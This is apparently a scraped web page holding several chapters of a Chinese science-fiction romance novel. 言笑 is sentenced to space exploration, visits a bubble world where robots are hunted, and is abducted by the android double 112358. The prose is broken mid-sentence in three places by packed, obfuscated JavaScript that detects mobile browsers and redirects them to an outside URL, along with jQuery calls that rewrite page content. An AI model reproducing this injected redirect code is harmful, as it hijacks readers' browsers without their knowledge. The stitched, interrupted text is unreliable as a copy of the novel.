p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101224|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 实验室的人都被禁止探视,中途只有言斯衡来见过言笑一次。将军制服与言笑隔着遥远的玻璃窗,言斯衡一语不发,只有肩章与鹰隼般的眼眸熠熠闪亮。言笑已经被关了一段时间,即使接受的都是正常讯问,离真的发疯也就差临门一脚。 “爸爸!”言笑心里忽地燃起希望,抢出几步飞奔到言斯衡跟前,急迫地咣咣敲窗,“你快救我出去!我到底什么时候才能出去!” 言斯衡神色平静,“有消息说,你可能被判通敌罪。但你和沈知淮的证词都还没有被完全认定,判不判也难说。” “我没有通敌!”言笑的指甲在窗上扒得发白,“连你也不相信我吗,我不是你女儿吗?你要任由他们这样欺负我吗!” 言斯衡微微皱眉。如果不是隔着玻璃,言笑甚至觉得他想后退半步。“按程序办事,谈不上谁欺负谁。” 联盟囚室是早年魔方实验室研究员的手笔,淳朴敦厚得惨无人道:床铺宽敞舒适,但整个屋子面积不过几平方米,没有窗子没有光照,除了警铃听不见任何声音,连水和压缩食物都是一次性发放。言笑没过多久就失去了时间概念,无所谓昼夜颠倒,昼就是夜,夜也是昼。 直到言斯衡再次出现。 言笑从睡梦中惊醒。警铃刺耳,是在叫她出去,与此同时灯光亮起,言笑下意识拿手挡眼睛。 言斯衡是来给言笑送判决书的,“三战过后,太空探索已经中断多年,当局近年打算继续,只是一直没有合适的契机,也没有合适的人选。” 言笑脚下一颤,“什么意思?” “飞船这些年来都是你的实验区域,你是最合适的人选。” “三战之前发现的虫洞这么多年联盟都没派人探索,现在让我当炮灰?那我这辈子还能回来吗?”言笑脸色惨白,喃喃着倒退两步,忽然歇斯底里大喊,“我不去!我都说了我没有通敌,为什么不相信我?” 言斯衡冷漠道:“你自己做过的事,你自己要承担后果。” 言笑目眦欲裂,面容扭曲,“我做什么了?我什么都没做!”眼看疯过闹过,言斯衡无动于衷,言笑倏忽古怪地平静下来,嘲讽似的冷笑两声,“我知道了。” 言斯衡蹙眉,“你知道什么?” 言笑笑得癫狂得意,“爸爸,我知道你为什么讨厌我。进入魔方实验室是你毕生心愿,但你是言家这么多代以来唯一一个进不了实验室的。你所向往的一切都是我唾手可得的,这就是你恨我的原因。” 言斯衡顿时面色铁青,冷声威胁道:“言笑,你别乱说话。” “哈哈哈……”言笑抬手指着言斯衡的鼻子,“所有人都知道言大将军和女儿相处不好,所有人也都知道言大将军因为智商不够而被魔方实验室拒之门外。你猜猜别人在背后都是怎么说你的?你知道他们都说你一辈子都在嫉妒自己的女儿吗?” “言笑你疯了!”言斯衡“啪”地将判决书甩在窗上,像是打了言笑一耳光,“你知不知道我为了保你一命舍下多少脸皮!要么进行太空探索,为联盟效劳,将功补过;要么今天死在这儿。你自己选吧。” 飞船已经沉寂许久。忽然入口传来声响,全身扫描,然后门开,言笑踏进门来。 112358招呼道:“好久不见。” 42. 机器觉醒01 “你怎么又有身体了?” 李开心把车速降到一百以下。前方是居民区,开太快不安全。“看你很久没动静,怕你出事。我给上级发了信号,他们来人把我取走了。” 言笑回身从车里的小冷柜中找水,咕嘟咕嘟一口气灌下半瓶,总算有点力气和空闲将局势盘一遍:李开心及其背后势力,这是一方;杀田斯斯的大概率是今天那个白发老头,第二方;秦笙拿菜刀砍白发老头的人,还把他们车给撞了,第三方;蒙面少年从白发老头那儿偷人,又否认自己和秦笙一伙,那就是第四方。 什么跟什么啊。 言笑放下喝了一半的冰水,擦擦嘴角,“秦笙是谁?” 李开心略微侧头,月光斜映,细腻皮肤仿佛薄得透明,像雪地里的一丛泡沫。“以我的判断来说,她应该不是你的敌人。” “你呢?”言笑与李开心咄咄对视,“你是我的敌人吗,你想杀死我吗?” 在魔方展示过李开心的记忆之后,李开心的存在一直是硌在言笑心头的一把刀,如今终于把话问了出来,言笑如释重负。 李开心与言笑对视,目不转睛道:“我从没想过要杀你。” 从前言笑以为李开心是不倾向于说谎的,但这个答案让言笑突然对自己的判断产生怀疑。“你杀过很多和我长得一样的人。” “是。” “那么你也会杀我。” “不会。” “我和她们没有什么不同。” 李开心沉默着,许久才开口道:“你和她们不同。” 言笑觉得很累,甚至没有力气追根究底,往车门的方向缩了缩,闭上眼睛想睡一觉。李开心按动按键,将言笑的座椅放平,又从床下的箱子里找出毛毯,给言笑盖上。 “休息一会儿,我带你进泡泡。或许对你来说,泡泡里才是安全的。” 男人修长的手指穿过发间,玉石一样,凉而细腻。言笑睁开了眼。“那些人追进泡泡怎么办?” 李开心收回手。车里的灯光暗了下来,言笑看不清李开心的脸,只有窗外路灯给他勾出一道深重轮廓。“他们不敢,因为他们知道出不去。” “那秦,秦笙刚才……”言笑卡顿一下,还是囫囵将之前的事告诉了李开心。无论秦笙对她有多少欺瞒,毕竟做过那么多年朋友,言笑很难在秦笙帮她逃跑之后心安理得袖手旁观。言笑抓着毛毯小声问,“我们用不用回去帮帮她?” 李开心半跪在言笑的座椅旁边,耐心回答,“不用。她和抓你的人打不起来。” “可是——”可是如果秦笙和白发老头是一伙的,她潜伏在我身边那么多年图什么呢? 李开心隔着毛毯握住言笑的手,手指轻轻在她手背上敲了两下,安慰一样,“信我。” 言笑迷迷糊糊睡去,懒得再想更多。人固有一死,要么早死要么晚死,反正她一直生活在谎言里,早死晚死又有什么分别。纷繁乱梦之中言笑干脆利落往秦笙脑门上来了一枪,因为她想看秦笙是不是也会满脑门子冒烟。 言笑醒来时,车正驶过魔方园区大门。车速不快,看来刚才睡了很久。 “你醒了。”李开心问她,“要不要吃点东西?等会儿就要进泡泡了。” 言笑裹着毯子摇摇头,困劲儿还没全然过去。之前在白发老头家没少吃,现在言笑一点不饿。“这次还要撞墙吗?” “不撞墙。”李开心探探下巴,向前方示意,“车开过去就是。” “那什么,”言笑现在警惕性非常高,时时想着自保,“我们能不能带把枪进去,或者带点什么武器?” “如果与泡泡的世界观不相符,比如年代差距太大,从外面带进去的枪可能会用不了。别担心,进去之后跟紧我。” 话音刚落,花团锦簇的璀璨灯光忽然在眼前闪现,笑闹与尖叫自远方传来。摩天轮、大摆锤、跳楼机、旋转木马,穿着玩偶服装的工作人员蹦跳着路过核动力车,给小孩子分发气球;烧烤摊子热气腾腾,烤肉吱吱冒着香气。 这是一场盛大的夜间嘉年华。 言笑闻着味儿突然饿了,咽咽口水,问李开心,“这次你带金骰子了吗?” 李开心罕见地没有立刻答话,探出一根手指谨慎地抚过车门,“混沌态范围扩大了。” 出鹦鹉螺城时,言笑听李开心提过这个词,按言笑的简单理解,这代表能进入泡泡的空间范围。“会有什么影响吗?” “不知道。按照我从前的探测结果,车应该至少再往前开二百米。” “这样的话,泡泡会影响现实世界吗?” “我更倾向于认为,泡泡变得更加不稳定了。如果把上次那种情况也算进去,我们已经连续两次把车开进泡泡里了。这是之前几十年都没发生过的情况。” 李开心收回手,开门下车。长靴稳稳踏在地上,地面坚固,空气平稳,不见任何异样。言笑跟随李开心下车,车门缓缓自动关合,高达从车旁走过,一群小男孩叫嚷着尾随。“怎么进来不重要,能出去就行。先在周围逛逛吧。” 远处突然放起焰火,斑斓绚烂,夜空骤然亮起,照亮地面上渺小微茫的笑脸。言笑没感知到周围有什么危险,立刻调整进入生存模式,不见外地去掏李开心的兜,果然翻出一颗亮晶晶的骰子。水晶骰子换兔子玩偶,兔子玩偶换烟花棒,烟花棒换轮滑鞋,言笑拎着轮滑鞋在烧烤摊前排队,末了跟大胡子老板换来一把撒了许多孜然的呛辣羊肉串。 言笑分出几串递给李开心,左右开弓大马金刀地当街撸串,“今晚还能以物易物,明天就得找个餐厅洗盘子了。以后还是得多带硬通货,万一哪个泡泡里没有餐厅呢?” 李开心拿着羊肉串,没吃,等言笑手里的吃完,又把自己手中的几串递回去。 不吃就是不饿。言笑也不跟他客气,继续撸串。正吃得热火朝天,身后传来一阵嘈杂与骚动。 “是侦察队!” “侦察队怎么会来这里?” “可能是例行搜查,也可能有什么内部消息。现在没有什么地方是绝对安全的。” 言笑回身,隔着稀落人群看到一队身穿制服、手执枪械的侦察人员。人群被半包围起来,众人议论纷纷,自动给侦察队退让出一条路,却也没人十分害怕。走在最前的几位侦察人员手里拿着仪器,半个手掌大小的方盒子,挨个用方盒子扫描游客的腰椎,也不知道是在检查什么。 言笑吃完羊肉串,随手往垃圾桶里扔了钎子。侦察人员转眼已经检查过十几个人,言笑不想暴露自己是外来的,四处打量半天,选中了一个站在不远处看热闹的吃糖小孩。 “小朋友,”言笑半蹲下去,和颜悦色问道:“那些叔叔在找什么呀?” 小孩牙齿咬着橡皮糖,一使劲揪了老长,“机器人啊。” 言笑心里一咯噔,面上却仍若无其事,“他们找机器人干什么?找到了又能怎么样呢?” 小孩摇摇头,“听我妈妈说,可能是要回厂销毁,拆成零件。” 侦察人员顺利检查过几十个人,突然停下手上动作,向人群中张望片刻,点中一个女孩,“你,你过来。” 女孩搂着挎包怯怯过去,转身,方盒子贴在女孩腰椎处,绿灯闪了两下。 言笑继续跟小孩套话,“侦察队会把这里所有人都检查一遍吗?这里有好多人呢。” 橡皮糖崩了牙齿,小孩捂着嘴,眼泪汪汪瓮声瓮气,“当然检查不完。他们一般优先检查长得好看的。” “为什么?” “因为机器人都是设计师按自己喜欢的样子设计的,都长得很好看。我哥就一次也没被检查过,哼。” 言笑心事重重起身,小步小步挪回李开心身边,“他们检查你的腰椎……应该检查不出来吧?” 李开心淡定瞄着侦察队走近,“不一定。” ……? 言笑在这一刻甚至想好,万一李开心被抓走,她可以去烧烤摊子应聘穿羊肉串。“你的主要器官不是只有大脑和心脏么?腰椎上还有什么东西?” 两人一直站在相对靠前的位置,贸然溜走恐怕更为显眼。言笑心中郁结她这是个什么苦命,本以为终于摊上了个安宁和乐的泡泡,没想到刚过一把羊肉串的工夫,原住民就开始疯狂绞杀机器人——绞杀李开心也就算了,看这架势人类和人工智能早已撕破了脸,而人工智能则安静潜伏在人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15109649|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 类中间,怕是接下来也捞不着太平日子。 侦察人员再次在人群中扫视几个来回。言笑瞧着对方多看了她几眼,正欲自信上前,对方却忽然将视线略过她去,向李开心勾勾手,“你,过来。” 言笑憋着一口气,差点没被哽死——你这骂谁呢? 李开心坦然上前,转身背对侦察人员。言笑惴惴不安,一颗心提到嗓子眼儿,搓着衣角琢磨哪怕绞杀李开心也不太行啊,这破泡泡明显不适合过一辈子,没了李开心万一她自己出不去可怎么办? 方盒子在李开心腰椎处停了一秒。 绿灯。 言笑长舒一口气,这才发现手心里都攥出了汗。李开心返回言笑身边,悠然自在看着远处热闹,“紧张什么?” 这语气太过游刃有余,言笑幡然醒悟,登时气得牙痒,“你耍我玩?” “谁想到你能真信?在魔方里的时候我又没让你往外给我带一截腰椎。” 言笑恨不能踩他一脚,可如今李开心作为在逃目标人物,多一事不如少一事,言笑只能聊胜于无地剜他几眼。“看来这里机器人的……芯片?或者集成电路,还是叫别的什么——都装在腰上。不过为什么你的程序需要保存在两个不同地方?一个地方装不下?” 烧烤摊子的大胡子老板刚被检查过,正热火朝天将生肉串摆在炉子上。炉子的小孔里露出烧得通红的炭火,李开心盯着那一点红,仿佛看得入神,许久才给出一个妥帖答案,“大脑用来思考,心脏用来爱人。” 言笑迷惑不解:听这意思可能李开心的情感锁就在心脏里,他是不是受虐没够?“心脏用来爱人?这不是你的弱点吗?” 李开心突然转过视线,千分之一秒的对视之间言笑听到了脉搏鼓噪。金色焰火飞上天空,夜色被光线驱散,浅灰色虹膜里倒映着爆裂火光。“我从来不觉得这颗心脏是我的弱点。” “嘀嘀,嘀嘀——” 刺耳警报声突然从侦察人员手中的方盒子里传来,人群瞬间乱作一团,喧哗四起。 “机器人!” “那个女人是机器人!” “快把她抓起来!” 棕褐色长发的女人惊慌失措,狼狈地倒退两步,矢口否认,“我不是机器人,你这个检查设备有问题——放开我!你放开我!” 侦察人员不由分说,大步上前,用力擒住女人的手腕,干脆利落向她背后反拧过去。白皙手腕上立刻留下两道指印,女人惊恐尖叫起来,“我不是机器人,我是人类!侦察队到底都在做些什么,你们才是机器人吧!” 言笑在一旁抄手看着,看戏一样,但这剧情却让言笑疑惑——难道侦察队是机器人冒充的,他们故意来人类地盘闹事?按照正常逻辑,假设这个女人是潜伏在人类族群中的人工智能,在即将面对无法逃脱的检查时,她最好的办法应该是撒腿就跑。人群后方暂时没被围堵,人工智能的体力又超出人类许多,逃跑还是有胜算的。再说,是不是机器人都很容易客观证明,看她声嘶力竭惊恐万分,又有什么必要非当着大伙的面演这一出? “对女人下这么重的手,没必要吧?”李开心从容开口,上前两步,“万一你这检查设备真的有问题呢?” 事发突然,言笑甚至没来得及把李开心拽住,只得扭曲着脸悄悄后退,生怕一旦对方发难,再把她和李开心划成一伙的。 围观群众大约也见识过机器人被从人类当中识别出来应该是什么状态,一时议论纷纷。言笑盘算着万一李开心引火上身,他肯定有能力把这群侦察人员一顿胖揍,到时候开车逃跑快一些,那她就得随时准备—— 突然一只大手捂住言笑的嘴。眼前景象一闪,言笑瞬间被巨大力量带得往后仰倒,后脑咚地撞上一片结实胸膛,头昏眼花。来者将言笑顺着人群缝隙快速拖走,力量差距太大,言笑毫无招架之力,手脚在半空乱划。 肉|体相贴,言笑闻到这人身上的熟悉味道,几秒之后反应过来,乍然战栗。言笑猛地回头,拼命仰视过去,焰火在半空爆裂,浅灰虹膜里消融一片金色火光。 “李开心”仍没放开箍紧言笑的手,反而将她更深地往自己怀里带了几分,“你怎么在这里?” 43. 机器觉醒02 目前已知,秦笙有过泡泡版本;如果在魔方里看到的事情是实际发生过的,谭述是现实世界中存在的真人,那么谭述也有泡泡版本。 眼前这个,就是泡泡版本的李开心。 言笑死命扒拉捂在嘴上的手指头,“李开心”欣赏似的看她挣扎,直到言笑快急眼了,才轻飘飘地放手。新鲜空气终于没有阻隔,言笑大口呼吸,无数应对策略同时在脑内预演,最后决定敌不动我不动。 “李开心”明显认错了人,这说明她自己也存在一个盗版。最关键的是,“李开心”放手了但没完全放,言笑仍然被他按在怀里,手掌边缘卡着言笑的锁骨,锁喉似的。这让言笑一时无法判断泡泡言笑和泡泡李开心的关系。 太亲密了。言笑有点发晕。 前方人群喧闹起来,越来越多的围观群众开始质疑侦察队是否对刚才的棕发女子太过残暴。言笑打眼一瞟,甚至没看见李开心站在哪里。如此一来,或许泡泡李开心也没注意到不远处还有另一个他。 “李开心”神采飞扬的眉眼渐渐和缓柔顺下来,与言笑静静对视着,仿佛故作轻松,也像故意逗弄,“你想回来找我?” 言笑顿时心里有谱,冷然推开“李开心”环绕她的手臂。 听懂了。剃头挑子一头热。 “李开心”像是早料到言笑的反应,也不在意,只回头环顾,哪想竟看到另一队侦察队由远及近大步走来。“李开心”面色忽变,攥住言笑手腕,正面迎向来势汹汹的侦察队,挡在言笑身前。 不转身还不显眼,正面迎敌完全就是挑衅。没等侦察队先开口,言笑发现自己差不多是飞了出去,拽着她跑跑不到逃逸速度,言笑被“李开心”以手臂钳住身体急速狂奔,身后乒乒乓乓炸响,是他回身扔了什么东西。 他们跑到园区角落的一家便利店门外。附近人少,便利店也没什么生意,玻璃窗上贴着新品广告,一个中年男人正坐在窗里吸溜泡面。言笑不太擅长这种爆发式运动,即使“李开心”把她夹在胳肢窝里跑了大半段路程,最后八百米也逃不过她亲自双脚沾地地跑。甫一开口,肺都嘶嘶啦啦地疼,言笑跑岔了气,低头捂腰,“你跑什么?我又不是机器人。” “李开心”与言笑相对而立,两手撑住膝盖,只保持比言笑略高的高度,细细端详着她,“我是。” 言笑心说废话我知道你是,我又不在乎你会不会被抓。 “李开心”眨了眨眼,忽然偷袭似的靠近言笑,两人鼻尖相距不过十公分,但言笑没躲。对方笑眯眯问她,“我叫什么名字?” 也不知道是因为渴还是紧张,言笑不自觉地舔舔嘴唇,努力故作泰然,还在眼神与口吻中附加了适当疑惑成分,“李开心?” 后颈突遭一记手刀,言笑直接晕了过去。 妈的,押错宝了。 颈后痛觉比意识先醒,光线昏暗,能嗅到土壤的味道,向上看去枝桠交错,像是身处荒山。身前有人讲话,一开始那声音模糊不清,随着言笑渐渐醒转,女孩的声音清晰起来。 “……也没想到他们会那么精明,这都能让他们跑出去。” 112358淡道:“他们只是没有记忆,不是没有智商。” 听见熟悉嗓音,言笑瞬间全然清醒过来。然而颈后那下砍得太重,言笑头脑闷痛,全身乏力,加之现在正被112358抱在怀里,最好的应对策略大概只有装晕。 两人安静片刻。言笑双眼紧闭,大脑疯转。目前已知信息:12358和这个女孩把一些人关了起来,这些人都失忆了,并且有人逃脱—— 想到此处,言笑脑中霍然一炸:那个被侦察队逮捕的棕发女人! 这就解释了为什么棕发女人坚称她不是机器人。这样说来,大概率所有被囚禁的都是机器人,可112358为什么要囚禁同类?大批机器人又为什么会同时失忆?是存储出了问题? 女孩心事重重道:“跑出去十个人,现在被抓到三个,也不知道余下七个怎么样了。” 112358说:“尽快找到他们。还有,余下十个人看好了。” 女孩答应。112358抱着言笑穿过林间而去,言笑悄悄睁眼,头顶是一轮晦暗的月亮。 走出老远,脚步停了下来。林中原本的细微声音——风声,叶落声,虫鸟鸣叫声——突然消失无踪,言笑感觉到自己被放在地上,一只手托着她的头,动作轻而稳妥。 装睡装久了,言笑甚至有点犯困,仿佛不过须臾,有人将她摇醒。 “醒醒,醒醒!” 言笑猛然惊醒,诈尸似的挺直脊背坐了起来。四人将她团团围着,遮挡住空间里大半明亮灯光。言笑坐在半边晦暗之中,警惕看向将她摇醒的、带着夸张三角形耳坠的短发女人。 敌不动我不动策略适用于任何无法以暴力取胜的场合。言笑迅速回神,换上一副萎靡又迷茫的表情,将眼前四人打量一遍,没有率先开口。 短发女人见言笑终于苏醒,舒了口气,“你怎么一个人躺在这里?” 旁边是个货架,乱七八糟堆着些厨房用品,锅碗瓢盆,瓶罐刀叉,再打眼往远处瞄瞄,拥挤空间中也尽是货架层层叠叠。言笑慌张无措道:“我,我也不知道啊。这是哪里,你们是谁?” 短发女人问道:“你也什么都不记得了?” 也。言笑当即抓住重点,戏精上身,夸张地抓着头发,仰头惊恐问众人道:“到底发生了什么,为什么我会什么都不记得?” 短发女人递给言笑一瓶水,将言笑拉了起来。众人苏醒于十几日前,就在这个杂乱超市里,食物与水供应充足,但偏偏没一个人有记忆。有人认为这世界是虚假的,他们被困囚于此,应该想尽办法尽快逃出去,也有人觉得不该轻举妄动,哪怕要逃,也要先想好万全的方案。 言笑不动声色打探道:“那万全的方案有了吗?有人逃出去吗?” 短发女人叹气,“大家谈不拢,就分成了几个队伍。我不知道那些人是怎么做到的,前几天远处突然有一声巨响,听起来像是——爆炸。” “他们把这里炸开了?” “不知道,当时我们没有目睹。从那之后,有十个人就消失了。” 短发女人和她身旁穿紫色衬衫的男人可能是夫妻,也可能有其他什么亲密关系,他们能感受到亲近,只是记不起来彼此。因为带着三角形耳饰,短发女人给自己起了个代号叫三角,男人则顺势叫圆圈。另外一对年轻男女,高个男生叫直线,卷发女生叫波浪。 言笑走哪都能跟人打成一片,“那我叫平行四边形吧。一家人就该整整齐齐。” 转过几个货架,眼前出现一小片开阔的空地,阳光从玻璃门外照进来,被指纹磨得光滑的收银台也显得没那么陈旧了。言笑愣了愣,快步上前推开玻璃门,斜坡上建着两栋灰扑扑的筒子楼,公交车站牌缺了一角。 见鬼了。 这里是现实世界中存在的场景。 超市距离言笑工作的地方三条街,言笑从前遛弯来过一次。如果言笑的判断没错,她绝对不是魔方实验室的人,那么泡泡就是在吞食她的意识,搭建了这样一个取材自她记忆的角落。 门外,两个男人正在鼓捣一个巨大的古老电视,塑料边框,屏幕后方的元件堆成个立方体。电视上顶着一口大锅,手腕粗的天线足有两米长。 言笑没见过这架势,绕圈看了半天,“这是干什么呢?” 三角跟两个男人简单讲述发现言笑的来龙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114585|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去脉。其中一个男人说:“我们在尝试把电视修好,看能不能收到节目。” 屏幕上哗啦哗啦闪着雪花,忽然略过一个模糊人影。另一个男人伸手将天线摇晃两下,人影终于稳定下来。嘶啦电流声中,女主播严肃道:“……在游客当中发现三个机器人,还有两个疑似机器人逃跑。请各位居民注意安全,发现可疑人员迅速上报。” 接下来是一段录像。拥挤游客与持枪的侦察人员背后,嘉年华的烧烤摊子一闪而过。 屏幕再次变成雪花。男人继续摇晃天线,还朝电视边框踹了一脚,毫无作用。三角跟言笑解释说:“前两天我们收到过一个节目,纪录片,讲机器人的。说机器人现在混迹在人群当中无法分辨,而机器人觉醒意识之后,人类觉得自己受到威胁,一直都在逮捕、绞杀机器人。虽然现在我们还不知道我们被困在哪里,但外面的世界或许很不安全。机器人有更强的智力和体力,当他们攻击人类,人类又该如何应对?” 言笑点头称是,心说姐啊自信一点,你就是那个开挂种族里的。 晚上,三角和圆圈在院里支起烤炉,言笑和直线负责穿串儿,四人撸起串来。波浪在超市里和另外一拨人炒菜,超市货架有锅有碗,冰柜有菜有肉有,一个小房间里还有天然气。孜然用完了,言笑进超市去拿,闻见小房间里传出一股直冲脑门的呛辣,当即端着碗进去化缘。几层货架以外有人煮饺子,还有人在巧克力货架前徘徊。 言笑回到院子,听见圆圈吆喝说这两把羊肉串马上烤好。发挥极其不稳定的天线突然再次显灵,还是新闻频道。 “紧急事件。由于工作人员系统维护失误,在押机器人从看押处逃跑,目前相关人员已被控制,针对此次事件的听证会即将举行。” 滋啦。一片雪花。 圆圈从白烟里抬起头问言笑,“孜然呢?” 入夜,众人各自在超市里划出地盘休息。超市卖床上用品的区域摆着一张床,两个女孩睡在那儿,其他人打地铺分散在四面八方。言笑抱着一团被子窝在冰箱旁边,闭上眼睛迷迷糊糊琢磨,112358把她关起来究竟是为什么。 拿她做人质?毕竟她长着和泡泡言笑一样的脸。如果泡泡言笑有什么重要身份,而112358正要将他的机器人同伴解救出来,那么不利用一下这张脸简直说不过去。话说话来,在这里收到的电视节目是从外界传进来的吗?如果外界确实有机器人逃跑,是112358将这些机器人救出来了? 越想越困,眼皮发沉,脑子里一片乱码,距离会见周公只有一步之遥。可就在这一步距离间言笑总觉得好像有什么事情不对。 到底是哪里不对呢? 三角和圆圈在一起,歇在厨具区;直线和波浪距离他俩不远,但是是分开的。摆弄电视那俩大哥睡在一堆电视中间;和波浪一起炒菜的有三个人,除了俩睡床的姑娘,还有个小伙子非要躺鱼缸;煮饺子的那位言笑瞄见过一眼,是个脸蛋嫩得要命的少年,听说毛绒娃娃筐是他的大本营。 像是一脚踩落云头,懵里懵瞪的言笑遽然睁眼。112358说过,余下的还有十个人。 这就已经十个人了。 那之前在巧克力货架拿巧克力的人……是谁? 就在睁眼一瞬,言笑眼前突然闪过银色微光,稀薄夜色中的人影向言笑扑来,大手直冲言笑喉舌。肩膀宽阔,手臂修长,是个男人,被面巾遮住大半张脸。 言笑抬脚踢掉对方手中的东西,就地打了个滚,躲开对方攻势,哇哇大叫着起身撒腿就跑。 “啊啊啊啊啊啊救命啊——” 把她从白发老头那儿捞出来、后来因为要拿针扎她而被她踹坑里的那个蒙面少年,他他他怎么也来这儿了? 44. 机器觉醒03 言笑吱哇乱叫着往有人的方向猛跑。跑了两步,身后一片寂静,回头匆匆瞥去,也没见少年追来。言笑刚转回脸打算继续狂奔,就在一片结实胸膛上撞歪下巴。 脚步都来不及收,后衣领子就被拎了起来,随后嘴巴上盖住一只大手,喊声直接倒灌回喉咙。 “别鬼叫了。跟我走。” 大概112358也不想被困囚于此的机器人发现,拎着言笑匆匆而行。踏出超市,月色流转,筒子楼变成一棵二十余米高的大树,而当言笑回身再看,身后竟是一个爬藤遍布的山洞洞口,哪里还有超市的影子? 112358把言笑塞进车里,轮胎卷起黄沙,一路烟尘。 言笑猜测那十个机器人应该都被112358关在山洞中,可由于某种科技方法——比如类似于现实世界中的沉浸体验游戏,玩家的活动范围是有边界的,即使十个泡泡小人每天白天都会离开超市外出探索,依然无法走出特定区域。 言笑手欠,闲不住地拿指甲刮了刮窗沿上方的红色按钮,也不知道是干什么的,按下去会不会有警报。 112358察觉她的动作。“老实一点,别逼我绑了你。” “好嘞。”言笑爽快地收回手,规规矩矩坐好,又向身边的人偷瞄几眼,没话找话,“你要带我去哪里?” 言笑一直揣着一点妄想,万一泡泡李开心其实也叫李开心,万一泡泡李开心其实无法肯定她究竟是不是这个世界里的泡泡言笑,那么或许她还有机会偷天换日移花接木,把眼前这位忽悠一通。毕竟之前对方把她砍晕时压根毫不迟疑,换位思考,如果没有前文铺垫,言笑觉得自己很难轻易相信世界上会存在长相完全一致的人。 泡泡李开心没说话。 言笑清清喉咙,身子往后挪挪,唯恐对方随时发难,以尾音向下的肯定口吻试探叫他,“112358。” 浅灰眼珠仍然望向前方,睫毛却微不可查地翕动一下。 完了。他还真叫112358。 言笑努力试图把之前说的话圆回来,“我给你起了个名字,叫李开心,你喜欢吗?这样以后我可以不用编号……啊也不是编号,就是不用拿这么一串冷冰冰的数字叫你,你觉得怎么样?” 112358设置好自动驾驶,又从抽屉里翻出一条白色毛巾,捏着言笑的下巴,强行把毛巾塞进嘴里。 言笑瞪大眼睛一动不动,等对方坐回原位,才迅速把嘴里的毛巾拽出来扔一边,扭头往窗外瞎看,假装无事发生。 荒山角落有几处破败红楼,112358在楼前停车,将言笑带了进去。红楼楼层低矮,楼体却建得够长,远端湮没在夜色中,陈旧砖石与层叠蛛网将其衬得愈发鬼气森森。入内,墙面与地面竟也还算干净整洁,一看就有人打扫过。途径几个房间门口,言笑往里打眼一瞅,看出来了:全都是实验室。 实验设备以言笑看来,好像有点时代不稳定——言笑只大概了解言辞那个时代,按设计的简洁程度来说,这里有些设备看起来比言辞的时代先进,有些设备又太过笨重,明显要老个几十上百年。 112358走在后方,言笑心里七上八下,也不太敢自来熟地回身和他并排走,只僵着脖子问他,“你要干什么?要拿我做实验吗?” 左肩被轻轻往前顶了一下。“别那么多话。往前,最里面那个房间。” 楼层最里面的房间大概二三十平米,房间中央一把椅子,椅子上挂着绳子,旁边地上扔着三个条状仪器。 没有利器。没法拿个剪子或者什么的抠人眼珠子。言笑只得任由112358把她按在椅子上坐好然后五花大绑,心里想着要是李开心再不出现,可能她真得挂了。 “绑都让你绑了,能不能给个准信儿?”言笑眼看112358将三个条状仪器捡起来,又将其在椅子周围立成一个等边三角形,忐忑道:“这是要让雷劈了我吗?” 112358正蹲在地上,闻此抬头仰视言笑,看了会儿,突然笑了。 言笑被他笑得心惊肉跳。认识李开心那么长时间,真正看到他笑的次数也屈指可数。112358起身,却又倏忽趁言笑不备迅速弯下腰来。熟悉的脸瞬间在眼前放大,鼻尖撞在一起,连唇峰都若有似无地相贴,在薄而脆弱的嘴唇上勾出一点痒意。鼻息温热,是人类才有的温度。 言笑没躲,岿然不动,心想天塌了,他怎么没有情感锁? 这姿势无限接近一个吻,但两人都没再向前。对视之间言笑说:“我三天没刷牙。你离那么近干什么?” “我可以关闭嗅觉。” 言笑出其不意,突然重重朝对方磕了一下脑门,随后得意看着112358捂住脑门瞪她,哼道:“那你痛觉怎么不关?” 112358懒得和她计较,绕着圈儿打开三个仪器的开关。仪器上方亮起小小的红色光点,将言笑包围在三角形中。言笑这时方有点觉出怕来,后颈立起一层寒毛,咽咽口水,动也不敢乱动,“你到底要干什么?” 112358没答话,在言笑身前盘腿坐着,托腮看她。 前方的红色光点突然变绿,又瞬间变回红色,闪动快得言笑以为自己眼花。言笑眼珠子乱转,满脑子瞎想都这个节骨眼了,按照连续剧的剧情李开心不应该从天而降或者破窗而入吗,他再不来她可就要凉了。“你总该让我死个明白吧?电,电影里不都这么演吗,你把别人嘎掉之前你先交待一下心路历程,讲述一下悲惨人生,这样别人才会理解、同情、甚至爱上你这样一个反派。” 112358笑得眼尾弯出弧线,“电影里反派交待完基本都会死翘。反派死于话多。”忽又敛起笑意,薄薄的眼皮抬起,眼中煞气升腾,偏又带着一种冷酷的温情。“所以要杀人得赶紧杀。” “那你你你你不好奇我怎么知道你的名字吗?你不好奇为什么我和她长得一样吗?” 112358眼神凝固一瞬,而后迅速恢复如常,“我不在乎。” 言笑在心里打了个响指。话题正确。“你们怎么认识的?认识多久了?你喜欢她,她不喜欢你?” “你话真多。” “谢谢夸奖。” 112358让言笑逗乐了,“行吧,让你死个明白。”挥挥手指,新闻主播的全息影像在言笑眼前闪现,“紧急事件。由于工作人员系统维护失误……” 言笑说:“这个我看过。怎么了?” 